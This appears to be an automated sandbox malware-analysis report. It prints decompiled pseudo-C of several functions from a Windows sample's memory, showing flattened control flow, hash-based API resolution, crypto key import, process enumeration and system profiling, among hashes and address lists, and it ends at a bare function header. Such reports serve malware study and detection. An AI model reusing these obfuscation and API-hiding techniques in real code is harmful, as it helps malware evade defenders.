Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: *LO$.
API String ID: 3541575487-2132576683
Opcode ID: a730f46133e3434dbd91c97f89c90b4e2158c439313a661d60c200dc7766dae3
Instruction ID: cefbc3dacd3d32e62094c32bbba250f055290234a2b3e4b848b46bf0bfe6ba7a
Opcode Fuzzy Hash: a730f46133e3434dbd91c97f89c90b4e2158c439313a661d60c200dc7766dae3
Instruction Fuzzy Hash: E25102B1B1420047CA24AFB59940A7B3AED9BC0705F00893FB542E73D1EA3DDE09879A

Uniqueness

Uniqueness Score: -1.00%

Function 004025A0, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E004025A0(intOrPtr* __ecx) {
				char _v4;
				char _v8;
				intOrPtr _v32;
				intOrPtr _t16;
				intOrPtr _t20;
				intOrPtr* _t26;
				intOrPtr* _t30;
				intOrPtr* _t33;
				intOrPtr* _t35;
				intOrPtr* _t37;
				signed int _t38;
				intOrPtr* _t41;
				signed int _t42;
				intOrPtr* _t43;
				signed int _t44;
				void* _t52;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				intOrPtr _t58;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t92;
				intOrPtr* _t95;
				intOrPtr* _t97;
				signed int _t98;
				void* _t109;
				void* _t111;
				void* _t112;

				_t97 = __ecx;
				_t98 = 0x2dedd71a;
				goto L1;
				do {
					while(1) {
						L1:
						_t111 = _t98 - 0x29ef44d1;
						if(_t111 > 0) {
							break;
						}
						if(_t111 == 0) {
							_t54 =  *0x40de60; // 0x0
							__eflags = _t54;
							if(_t54 == 0) {
								_t54 = E00403DA0(_t52, E00403E40(0x52c6bd07), 0x531c1458, _t109);
								 *0x40de60 = _t54;
							}
							_t16 =  *0x40e1d8; // 0xeb5e48
							_t9 = _t16 + 0x44; // 0xe96828
							 *_t54( *_t9, 0);
							_t98 = 0x13975cfb;
							continue;
						} else {
							_t112 = _t98 - 0x1802dadc;
							if(_t112 > 0) {
								__eflags = _t98 - 0x1d079478;
								if(_t98 == 0x1d079478) {
									_t55 =  *0x40dba8; // 0x0
									__eflags = _t55;
									if(_t55 == 0) {
										_t55 = E00403DA0(_t52, E00403E40(0x52c6bd07), 0x74e5eb3d, _t109);
										 *0x40dba8 = _t55;
									}
									_t20 =  *0x40e1d8; // 0xeb5e48
									_t8 = _t20 + 0x10; // 0xec4a78
									 *_t55( *_t8);
									_t98 = 0x29ef44d1;
									continue;
								} else {
									__eflags = _t98 - 0x269d58e6;
									if(_t98 != 0x269d58e6) {
										goto L7;
									} else {
										_t56 =  *0x40dd24;
										__eflags = _t56;
										if(_t56 == 0) {
											_t56 = E00403DA0(_t52, E00403E40(0x52c6bd07), 0x55e6c316, _t109);
											 *0x40dd24 = _t56;
										}
										_t88 =  *0x40e1d8; // 0xeb5e48
										_t6 = _t88 + 0x40; // 0xeb5e88
										_t7 = _t88 + 0x44; // 0xe96828, executed
										_t26 =  *_t56( *_t7, 0x8004, 0, 0, _t6); // executed
										__eflags = _t26;
										if(_t26 != 0) {
											return 1;
										} else {
											_t98 = 0x3b400590;
											continue;
										}
									}
								}
							} else {
								if(_t112 == 0) {
									_t30 =  *0x40dfc0;
									__eflags = _t30;
									if(_t30 == 0) {
										_t30 = E00403DA0(_t52, E00403E40(0x52c6bd07), 0xbfd29902, _t109);
										 *0x40dfc0 = _t30;
									}
									_t84 =  *0x40e1d8; // 0xeb5e48
									_t1 = _t84 + 0x10; // 0xeb5e58
									_t4 = _t84 + 0x44; // 0xe96828, executed
									 *_t30( *_t4, _v8, _v4, 0, 0, _t1); // executed
									asm("sbb esi, esi");
									_t33 =  *0x40dbf0;
									_t98 = (_t98 & 0x0d6d060e) + 0x29ef44d1;
									__eflags = _t33;
									if(_t33 == 0) {
										_t33 = E00403DA0(_t52, E00403E40(0xef98c369), 0x6be17499, _t109);
										 *0x40dbf0 = _t33;
									}
									 *_t33(_v32);
									goto L7;
								} else {
									if(_t98 == 0x121aeae2) {
										_t37 =  *0x40e048;
										__eflags = _t37;
										if(_t37 == 0) {
											_t37 = E00403DA0(_t52, E00403E40(0x52c6bd07), 0x30ecdc3e, _t109);
											 *0x40e048 = _t37;
										}
										_t61 =  *0x40e1d8; // 0xeb5e48
										_t38 =  *_t37(_t61 + 0x44, 0, 0, 0x18, 0xf0000040); // executed
										asm("sbb esi, esi");
										_t98 = ( ~_t38 & 0x1a4dc17f) + 0x13975cfb;
										continue;
									} else {
										if(_t98 == 0x13975cfb) {
											_t65 =  *0x40e1d8; // 0xeb5e48
											E00404120(_t52, _t65);
											__eflags = 0;
											return 0;
										} else {
											goto L7;
										}
									}
								}
							}
						}
						L47:
					}
					__eflags = _t98 - 0x375c4adf;
					if(__eflags > 0) {
						__eflags = _t98 - 0x3b400590;
						if(_t98 != 0x3b400590) {
							goto L7;
						} else {
							_t35 =  *0x40dba8; // 0x0
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E00403DA0(_t52, E00403E40(0x52c6bd07), 0x74e5eb3d, _t109);
								 *0x40dba8 = _t35;
							}
							_t58 =  *0x40e1d8; // 0xeb5e48
							_t15 = _t58 + 0x28; // 0xec4678
							 *_t35( *_t15);
							_t98 = 0x1d079478;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							_t41 =  *0x40db44;
							__eflags = _t41;
							if(_t41 == 0) {
								_t41 = E00403DA0(_t52, E00403E40(0x52c6bd07), 0x4bf77bf3, _t109);
								 *0x40db44 = _t41;
							}
							_t92 =  *0x40e1d8; // 0xeb5e48
							_t13 = _t92 + 0x28; // 0xeb5e70
							_t14 = _t92 + 0x44; // 0xe96828, executed
							_t42 =  *_t41( *_t14, 0x660e, 1, _t13); // executed
							asm("sbb esi, esi");
							_t98 = ( ~_t42 & 0x0995c46e) + 0x1d079478;
							goto L1;
						} else {
							__eflags = _t98 - 0x2de51e7a;
							if(_t98 == 0x2de51e7a) {
								_t43 =  *0x40dc14;
								__eflags = _t43;
								if(_t43 == 0) {
									_t43 = E00403DA0(_t52, E00403E40(0x6c1a13f8), 0xbc45c560, _t109);
									 *0x40dc14 = _t43;
								}
								_t44 =  *_t43(0x10001, 0x13,  *_t97,  *((intOrPtr*)(_t97 + 4)), 0x8000, 0,  &_v8,  &_v4); // executed
								asm("sbb esi, esi");
								_t98 = ( ~_t44 & 0xee13960b) + 0x29ef44d1;
								goto L1;
							} else {
								__eflags = _t98 - 0x2dedd71a;
								if(_t98 != 0x2dedd71a) {
									goto L7;
								} else {
									_t95 = E004041C0(_t52, 0x50);
									 *0x40e1d8 = _t95;
									__eflags = _t95;
									if(_t95 == 0) {
										break;
									} else {
										_t98 = 0x121aeae2;
										goto L1;
									}
								}
							}
						}
					}
					goto L47;
					L7:
				} while (_t98 != 0x1dcffb8b);
				return 0;
				goto L47;
			}

0x004025a5
0x004025a7
0x004025a7
0x004025b0
0x004025b0
0x004025b0
0x004025b0
0x004025b6
0x00000000
0x00000000
0x004025bc
0x00402766
0x0040276c
0x0040276e
0x00402786
0x00402788
0x00402788
0x0040278e
0x00402795
0x00402798
0x0040279a
0x00000000
0x004025c2
0x004025c2
0x004025c8
0x004026c4
0x004026ca
0x0040272a
0x00402730
0x00402732
0x0040274a
0x0040274c
0x0040274c
0x00402752
0x00402757
0x0040275a
0x0040275c
0x00000000
0x004026cc
0x004026cc
0x004026d2
0x00000000
0x004026d8
0x004026d8
0x004026de
0x004026e0
0x004026f8
0x004026fa
0x004026fa
0x00402700
0x00402706
0x00402713
0x00402716
0x00402718
0x0040271a
0x004028fb
0x00402720
0x00402720
0x00000000
0x00402720
0x0040271a
0x004026d2
0x004025ce
0x004025ce
0x00402646
0x0040264b
0x0040264d
0x00402660
0x00402665
0x00402665
0x0040266a
0x00402670
0x00402680
0x00402683
0x00402687
0x00402689
0x00402694
0x0040269a
0x0040269c
0x004026af
0x004026b4
0x004026b4
0x004026bd
0x00000000
0x004025d0
0x004025d6
0x004025f4
0x004025f9
0x004025fb
0x0040260e
0x00402613
0x00402613
0x00402618
0x0040262d
0x00402633
0x0040263b
0x00000000
0x004025d8
0x004025de
0x004028de
0x004028e4
0x004028ea
0x004028f0
0x00000000
0x00000000
0x00000000
0x004025de
0x004025d6
0x004025ce
0x004025c8
0x00000000
0x004025bc
0x004027a4
0x004027aa
0x00402899
0x0040289f
0x00000000
0x004028a5
0x004028a5
0x004028aa
0x004028ac
0x004028bf
0x004028c4
0x004028c4
0x004028c9
0x004028cf
0x004028d2
0x004028d4
0x00000000
0x004028d4
0x004027b0
0x004027b0
0x00402848
0x0040284d
0x0040284f
0x00402862
0x00402867
0x00402867
0x0040286c
0x00402872
0x0040287d
0x00402880
0x00402886
0x0040288e
0x00000000
0x004027b6
0x004027b6
0x004027bc
0x004027ee
0x004027f3
0x004027f5
0x00402808
0x0040280d
0x0040280d
0x0040282f
0x00402835
0x0040283d
0x00000000
0x004027be
0x004027be
0x004027c4
0x00000000
0x004027ca
0x004027d4
0x004027d6
0x004027dc
0x004027de
0x00000000
0x004027e4
0x004027e4
0x00000000
0x004027e4
0x004027de
0x004027c4
0x004027bc
0x004027b0
0x00000000
0x004025e4
0x004025e4
0x004025f3
0x00000000

APIs

CryptDecodeObjectEx.CRYPT32(00010001,00000013,?,?,00008000,00000000,?,?,?), ref: 0040282F

Strings

=t, xrefs: 004028B8
=t, xrefs: 0040273E
H^, xrefs: 00402618, 0040266A, 00402700, 00402752, 0040278E, 004027D6, 0040286C, 004028C9, 004028DE

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: CryptDecodeObject
String ID: =t$=t$H^
API String ID: 1207547050-399868047
Opcode ID: 0e6847989a85d3a0e5730091b127de343ea440aebe824d13b2aef80bac016897
Instruction ID: 28e40e4bde6d91d4439dd76dcb341aca23e795059927d0dcbdc89a11c9341dab
Opcode Fuzzy Hash: 0e6847989a85d3a0e5730091b127de343ea440aebe824d13b2aef80bac016897
Instruction Fuzzy Hash: 1F713932B00211ABDB18AF69DE59B6B76926B84700F04413FE905BF3E0EA78DC4587CD

Uniqueness

Uniqueness Score: -1.00%

Function 004080D0, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169
fileCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E004080D0(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t71;
				intOrPtr* _t78;
				void* _t85;
				void* _t86;
				intOrPtr* _t88;
				intOrPtr* _t91;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t97;
				signed int _t115;
				void* _t117;
				void* _t118;
				signed int _t119;
				intOrPtr _t121;
				void* _t122;
				void* _t125;

				_t122 = __ebp;
				_t97 = __ebx;
				_v584 = 0x5cc2;
				_v584 = _v584 + 0xffff57e8;
				_v584 = _v584 | 0xf121fa78;
				_v584 = _v584 + 0x7106;
				_v584 = _v584 + 0x77ed;
				_v584 = _v584 ^ 0x0000e76d;
				_v592 = 0x5244;
				_v592 = _v592 ^ 0x9bbb785b;
				_v592 = _v592 | 0x2b8c14b8;
				_v592 = _v592 << 0xd;
				_v592 = _v592 + 0xffffb213;
				_v592 = _v592 >> 0x10;
				_v592 = _v592 >> 6;
				_v592 = _v592 + 0x23dd;
				_v592 = _v592 >> 3;
				_v592 = _v592 ^ 0x000004ee;
				_v580 = 0x9356;
				_v580 = _v580 >> 4;
				_v580 = _v580 >> 3;
				_v580 = _v580 ^ 0x00000125;
				_v588 = 0x2a46;
				_v588 = _v588 | 0x596bcda0;
				_v588 = _v588 >> 0x10;
				_v588 = _v588 + 0xffff5527;
				_v588 = _v588 >> 8;
				_v588 = _v588 + 0x75a1;
				_v588 = _v588 ^ 0x0100754f;
				_t118 = _v580;
				_t119 = 0x31ea5ac7;
				while(1) {
					L1:
					_t125 = _t119 - 0x31ea5ac7;
					if(_t125 > 0) {
						break;
					}
					if(_t125 == 0) {
						_t119 = 0x36b96e61;
						continue;
					} else {
						if(_t119 == 0x273ea96e) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E0040B400(_v580, _v576, 0x989680, 0);
							_v592 = _t115;
							_t117 = _v588 - _v564;
							_t121 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L22;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t117 - _t121;
									if(_t117 < _t121) {
										goto L22;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t119 == 0x2d8e5198) {
								_t78 =  *0x40dcc0;
								__eflags = _t78;
								if(_t78 == 0) {
									_t95 = E00403E40(0xef98c369);
									_t115 = 0xc0892203;
									_t78 = E00403DA0(_t97, _t95, 0xc0892203, _t122);
									 *0x40dcc0 = _t78;
								}
								 *_t78( &_v572);
								_t119 = 0x273ea96e;
								continue;
							} else {
								if(_t119 != 0x304e1f80) {
									L21:
									__eflags = _t119 - 0x17923390;
									if(_t119 != 0x17923390) {
										continue;
									} else {
										goto L22;
									}
								} else {
									if( *0x40dfe8 == 0) {
										_t86 = E00403E40(0xef98c369);
										_t115 = 0xd4cd89b1;
										 *0x40dfe8 = E00403DA0(_t97, _t86, 0xd4cd89b1, _t122);
									}
									_t85 = CreateFileW( &_v524, _v584, _v592, 0, _v580, _v588, 0); // executed
									_t118 = _t85;
									if(_t118 == 0xffffffff) {
										L22:
										__eflags = 0;
										return 0;
									} else {
										_t119 = 0x38c30851;
										continue;
									}
								}
							}
						}
					}
					L30:
				}
				__eflags = _t119 - 0x36b96e61;
				if(_t119 == 0x36b96e61) {
					_t71 =  *0x40dcac;
					__eflags = _t71;
					if(_t71 == 0) {
						_t96 = E00403E40(0xef98c369);
						_t115 = 0x1f694480;
						_t71 = E00403DA0(_t97, _t96, 0x1f694480, _t122);
						 *0x40dcac = _t71;
					}
					 *_t71(0,  &_v524, 0x104);
					_t119 = 0x304e1f80;
					goto L1;
				} else {
					__eflags = _t119 - 0x38c30851;
					if(_t119 == 0x38c30851) {
						_t88 =  *0x40de4c;
						__eflags = _t88;
						if(_t88 == 0) {
							_t94 = E00403E40(0xef98c369);
							_t115 = 0xe9ac8f42;
							_t88 = E00403DA0(_t97, _t94, 0xe9ac8f42, _t122);
							 *0x40de4c = _t88;
						}
						 *_t88(_t118, 0,  &_v564, 0x28);
						asm("sbb esi, esi");
						_t91 =  *0x40e1a4;
						_t119 = (_t119 & 0x15fc1e08) + 0x17923390;
						__eflags = _t91;
						if(_t91 == 0) {
							_t93 = E00403E40(0xef98c369);
							_t115 = 0x427e88ae;
							_t91 = E00403DA0(_t97, _t93, 0x427e88ae, _t122);
							 *0x40e1a4 = _t91;
						}
						 *_t91(_t118);
					}
					goto L21;
				}
				goto L30;
			}

0x004080d0
0x004080d0
0x004080d8
0x004080e0
0x004080e8
0x004080f0
0x004080f8
0x00408100
0x00408108
0x00408110
0x00408118
0x00408120
0x00408125
0x0040812d
0x00408132
0x00408137
0x0040813f
0x00408144
0x0040814c
0x00408154
0x00408159
0x0040815e
0x00408166
0x0040816e
0x00408176
0x0040817b
0x00408183
0x00408188
0x00408190
0x00408198
0x0040819c
0x004081a1
0x004081a1
0x004081a1
0x004081a7
0x00000000
0x00000000
0x004081ad
0x00408264
0x00000000
0x004081b3
0x004081b9
0x0040833e
0x00408346
0x00408366
0x0040836a
0x00408372
0x00408376
0x0040837a
0x00408382
0x00408384
0x00000000
0x0040838a
0x0040838a
0x00408395
0x004083a1
0x0040838c
0x0040838c
0x0040838e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040838e
0x0040838a
0x004081bf
0x004081c5
0x0040822f
0x00408234
0x00408236
0x0040823d
0x00408242
0x00408249
0x0040824e
0x0040824e
0x00408258
0x0040825a
0x00000000
0x004081c7
0x004081cd
0x004082e9
0x004082e9
0x004082ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004081d3
0x004081db
0x004081e2
0x004081e7
0x004081f5
0x004081f5
0x00408218
0x0040821a
0x0040821f
0x004082f5
0x004082f5
0x004082ff
0x00408225
0x00408225
0x00000000
0x00408225
0x0040821f
0x004081cd
0x004081c5
0x004081b9
0x00000000
0x004081ad
0x0040826e
0x00408274
0x00408300
0x00408305
0x00408307
0x0040830e
0x00408313
0x0040831a
0x0040831f
0x0040831f
0x00408330
0x00408332
0x00000000
0x0040827a
0x0040827a
0x00408280
0x00408282
0x00408287
0x00408289
0x00408290
0x00408295
0x0040829c
0x004082a1
0x004082a1
0x004082b0
0x004082b4
0x004082b6
0x004082c1
0x004082c7
0x004082c9
0x004082d0
0x004082d5
0x004082dc
0x004082e1
0x004082e1
0x004082e7
0x004082e7
0x00000000
0x00408280
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,0100754F,00000000), ref: 00408218

Strings

Ou, xrefs: 00408190
DR, xrefs: 00408108
m, xrefs: 00408100

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: DR$Ou$m
API String ID: 823142352-902897619
Opcode ID: 364969435f9006c7ab420d3afe75f10c593fd9ab7e4bcd979662268ad5cd2d4a
Instruction ID: 693a458063033590bc00663c1fd493b90f882ee2d3405882f2d2c1ce5a5fb513
Opcode Fuzzy Hash: 364969435f9006c7ab420d3afe75f10c593fd9ab7e4bcd979662268ad5cd2d4a
Instruction Fuzzy Hash: E5619D31A087019BD714DF69C945A2FB7E4AFD4718F04492EF4D5AB2D0DBBCC9098B8A

Uniqueness

Uniqueness Score: -1.00%

Function 00404B90, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00404B90(intOrPtr* __ecx, void* __edx) {
				void* _v556;
				void* _v560;
				void* __ebx;
				void* _t5;
				signed int _t7;
				int _t16;
				signed int _t20;
				void* _t24;
				intOrPtr* _t27;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t47;

				_t44 = _v560;
				_t27 = __ecx;
				_t43 = __edx;
				_t5 = 0x3296735b;
				goto L1;
				do {
					while(1) {
						L1:
						_t47 = _t5 - 0x2acb684b;
						if(_t47 > 0) {
							break;
						}
						if(_t47 == 0) {
							_v556 = 0x22c;
							if( *0x40dd6c == 0) {
								 *0x40dd6c = E00403DA0(_t27, E00403E40(0xef98c369), 0x7a2af8bb, _t45);
							}
							L13:
							_t7 = Process32NextW(_t44,  &_v556); // executed
							asm("sbb eax, eax");
							_t5 = ( ~_t7 & 0x06e342c1) + 0x72632f1;
							continue;
						} else {
							if(_t5 == 0x72632f1) {
								if( *0x40e1a4 == 0) {
									 *0x40e1a4 = E00403DA0(_t27, E00403E40(0xef98c369), 0x427e88ae, _t45);
								}
								_t16 = FindCloseChangeNotification(_t44); // executed
								return _t16;
							}
							if(_t5 == 0xe0975b2) {
								_t20 =  *_t27( &_v556, _t43);
								asm("sbb eax, eax");
								_t5 = ( ~_t20 & 0x3045cda3) + 0x72632f1;
								continue;
							} else {
								if(_t5 != 0x160ff20d) {
									goto L18;
								} else {
									if( *0x40e12c == 0) {
										 *0x40e12c = E00403DA0(_t27, E00403E40(0xef98c369), 0xddae5d76, _t45);
									}
									_t24 = CreateToolhelp32Snapshot(2, 0); // executed
									_t44 = _t24;
									if(_t44 == 0xffffffff) {
										return _t24;
									} else {
										_t5 = 0x2acb684b;
										continue;
									}
								}
							}
						}
						L25:
					}
					if(_t5 == 0x3296735b) {
						_t5 = 0x160ff20d;
						goto L1;
					} else {
						if(_t5 != 0x376c0094) {
							goto L18;
						} else {
							if( *0x40df54 == 0) {
								 *0x40df54 = E00403DA0(_t27, E00403E40(0xef98c369), 0xd452c258, _t45);
							}
							goto L13;
						}
					}
					goto L25;
					L18:
				} while (_t5 != 0x294a5540);
				return _t5;
				goto L25;
			}

0x00404b98
0x00404b9c
0x00404b9f
0x00404ba1
0x00404ba6
0x00404bb0
0x00404bb0
0x00404bb0
0x00404bb0
0x00404bb5
0x00000000
0x00000000
0x00404bbb
0x00404c33
0x00404c3d
0x00404c55
0x00404c55
0x00404c5a
0x00404c60
0x00404c64
0x00404c6b
0x00000000
0x00404bbd
0x00404bc2
0x00404ccf
0x00404ce7
0x00404ce7
0x00404ced
0x00000000
0x00404ced
0x00404bcd
0x00404c1c
0x00404c20
0x00404c27
0x00000000
0x00404bcf
0x00404bd4
0x00000000
0x00404bda
0x00404be1
0x00404bf9
0x00404bf9
0x00404c02
0x00404c04
0x00404c09
0x00404cf8
0x00404c0f
0x00404c0f
0x00000000
0x00404c0f
0x00404c09
0x00404bd4
0x00404bcd
0x00000000
0x00404bbb
0x00404c7a
0x00404cbe
0x00000000
0x00404c7c
0x00404c81
0x00000000
0x00404c83
0x00404c8a
0x00404ca2
0x00404ca2
0x00000000
0x00404c8a
0x00404c81
0x00000000
0x00404ca9
0x00404ca9
0x00404cbd
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 00404C02
Process32NextW.KERNEL32(?,0000022C), ref: 00404C60
FindCloseChangeNotification.KERNELBASE(?,?,?,?), ref: 00404CED

Strings

@UJ), xrefs: 00404CA9

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindNextNotificationProcess32SnapshotToolhelp32
String ID: @UJ)
API String ID: 1306606082-2550355097
Opcode ID: 23f4aa09cea08034ad9b7a49876738c9d34b42af1b55ba0949729a54e1ab2008
Instruction ID: 5d1ad0cbbfe8731e5589df10fd0d3bf35b10378a4561d99af5f455fd814dfc9a
Opcode Fuzzy Hash: 23f4aa09cea08034ad9b7a49876738c9d34b42af1b55ba0949729a54e1ab2008
Instruction Fuzzy Hash: 7331F5B171420087E624AAB9AD55A3F22D59BC0304B14493BB615FB3D0EA7CDE4687DE

Uniqueness

Uniqueness Score: -1.00%

Function 004052E0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E004052E0(void* __ebx, void* __ebp) {
				signed char _v2;
				signed int _v276;
				signed int _v280;
				char _v284;
				signed short _v320;
				void* _t8;
				intOrPtr* _t13;
				intOrPtr* _t19;
				void* _t22;
				void* _t31;
				void* _t32;
				void* _t35;

				_t32 = __ebp;
				_t22 = __ebx;
				_t8 = 0xbdc0cc5;
				_t31 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t35 = _t8 - 0xbdc0cc5;
						if(_t35 > 0) {
							break;
						}
						if(_t35 == 0) {
							_t8 = 0xa467335;
							continue;
						} else {
							if(_t8 == 0x3ce3730) {
								_t31 = _t31 + (_v2 & 0x000000ff) * 0x186a0;
								_t8 = 0x1d3b75a2;
								continue;
							} else {
								if(_t8 == 0x67e7e27) {
									_t31 = _t31 + _v276 * 0x64;
									_t8 = 0x23882377;
									continue;
								} else {
									if(_t8 != 0xa467335) {
										goto L18;
									} else {
										_t19 =  *0x40e084; // 0x77e44020
										_v284 = 0x11c;
										if(_t19 == 0) {
											_t19 = E00403DA0(_t22, E00403E40(0xb2c8050f), 0x7d972862, _t32);
											 *0x40e084 = _t19;
										}
										 *_t19( &_v284);
										_t8 = 0x359bd2c5;
										continue;
									}
								}
							}
						}
						L22:
					}
					if(_t8 == 0x1d3b75a2) {
						_t31 = _t31 + _v280 * 0x3e8;
						_t8 = 0x67e7e27;
						goto L1;
					} else {
						if(_t8 == 0x23882377) {
							return (_v320 & 0x0000ffff) + _t31;
						} else {
							if(_t8 != 0x359bd2c5) {
								goto L18;
							} else {
								_t13 =  *0x40dde0;
								if(_t13 == 0) {
									_t13 = E00403DA0(_t22, E00403E40(0xef98c369), 0xb033df44, _t32);
									 *0x40dde0 = _t13;
								}
								 *_t13( &_v320); // executed
								_t8 = 0x3ce3730;
								goto L1;
							}
						}
					}
					goto L22;
					L18:
				} while (_t8 != 0x1334a5fc);
				return _t31;
				goto L22;
			}

0x004052e0
0x004052e0
0x004052e6
0x004052ec
0x004052ec
0x004052f0
0x004052f0
0x004052f0
0x004052f0
0x004052f5
0x00000000
0x00000000
0x004052fb
0x00405378
0x00000000
0x004052fd
0x00405302
0x0040536c
0x0040536e
0x00000000
0x00405304
0x00405309
0x00405355
0x00405357
0x00000000
0x0040530b
0x00405310
0x00000000
0x00405316
0x00405316
0x0040531b
0x00405325
0x00405338
0x0040533d
0x0040533d
0x00405347
0x00405349
0x00000000
0x00405349
0x00405310
0x00405309
0x00405302
0x00000000
0x004052fb
0x00405387
0x004053e9
0x004053eb
0x00000000
0x00405389
0x0040538e
0x00405403
0x00405390
0x00405395
0x00000000
0x00405397
0x00405397
0x0040539e
0x004053b1
0x004053b6
0x004053b6
0x004053c0
0x004053c2
0x00000000
0x004053c2
0x00405395
0x0040538e
0x00000000
0x004053cc
0x004053cc
0x004053e0
0x00000000

APIs

GetNativeSystemInfo.KERNELBASE(33A6B453,33A6B453), ref: 004053C0

Strings

5sF, xrefs: 00405378
@w, xrefs: 00405316, 0040533D
5sF, xrefs: 0040530B

Memory Dump Source

Source File: 00000001.00000002.467384235.0000000000401000.00000020.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.467365188.0000000000400000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.467420212.000000000040D000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ipsmsnap.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: @w$5sF$5sF
API String ID: 1721193555-2953058493
Opcode ID: e54848d7aede097b2aba1bc6204aed5e105f1e29ed0394ba1c5d139d4afb5436
Instruction ID: d1eb97444061f353ad8bd8654f141852f250ed2fcddecab137a3586957a0809e
Opcode Fuzzy Hash: e54848d7aede097b2aba1bc6204aed5e105f1e29ed0394ba1c5d139d4afb5436
Instruction Fuzzy Hash: C621F57160064087CA24966999842AF7690DF84384F54097FF94AFB3D1E67CCD415F8F

Uniqueness

Uniqueness Score: -1.00%

Function 01144C40, Relevance: 3.0, APIs: 2, Instructions: 33
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E01144C40(void* __ecx) {
				long* _v8;
				int _t5;

				_v8 = 0;
				_t5 = CryptAcquireContextA( &_v8, 0, 0, 1, 0); // executed
				if(_t5 != 0) {
					if(CryptAcquireContextA( &_v8, 0, 0, 1, 8) != 0) {
						asm("pushfd");
						asm("popfd");
						return 1;
					}
					return 0;
				}
				return 0;
			}

0x01144c44
0x01144c57
0x01144c5e
0x01144c77
0x01144c7d
0x01144c81
0x00000000
0x01144c81
0x00000000
0x01144c79
0x00000000

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,00000000), ref: 01144C57
CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,00000008,00000000,00000000,00000000,00000001,00000000), ref: 01144C70

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: AcquireContextCrypt
String ID:
API String ID: 3951991833-0
Opcode ID: 0b8af77ac50ba75d9ac9a9f751da530375660640b32f8b38a4c2cb36ded54f9a
Instruction ID: 7e22ecf3ef0de3f252ba53f2491a577535ebfbf10a589310ee97ffbb20cc7583
Opcode Fuzzy Hash: 0b8af77ac50ba75d9ac9a9f751da530375660640b32f8b38a4c2cb36ded54f9a
Instruction Fuzzy Hash: 7AE09230BA4309B7FB28D6A44D82F95B1DC5704F44F1045507701E55C0FFE1AA40426D

Uniqueness

Uniqueness Score: -1.00%

Function 01150719, Relevance: 1.5, APIs: 1, Instructions: 7
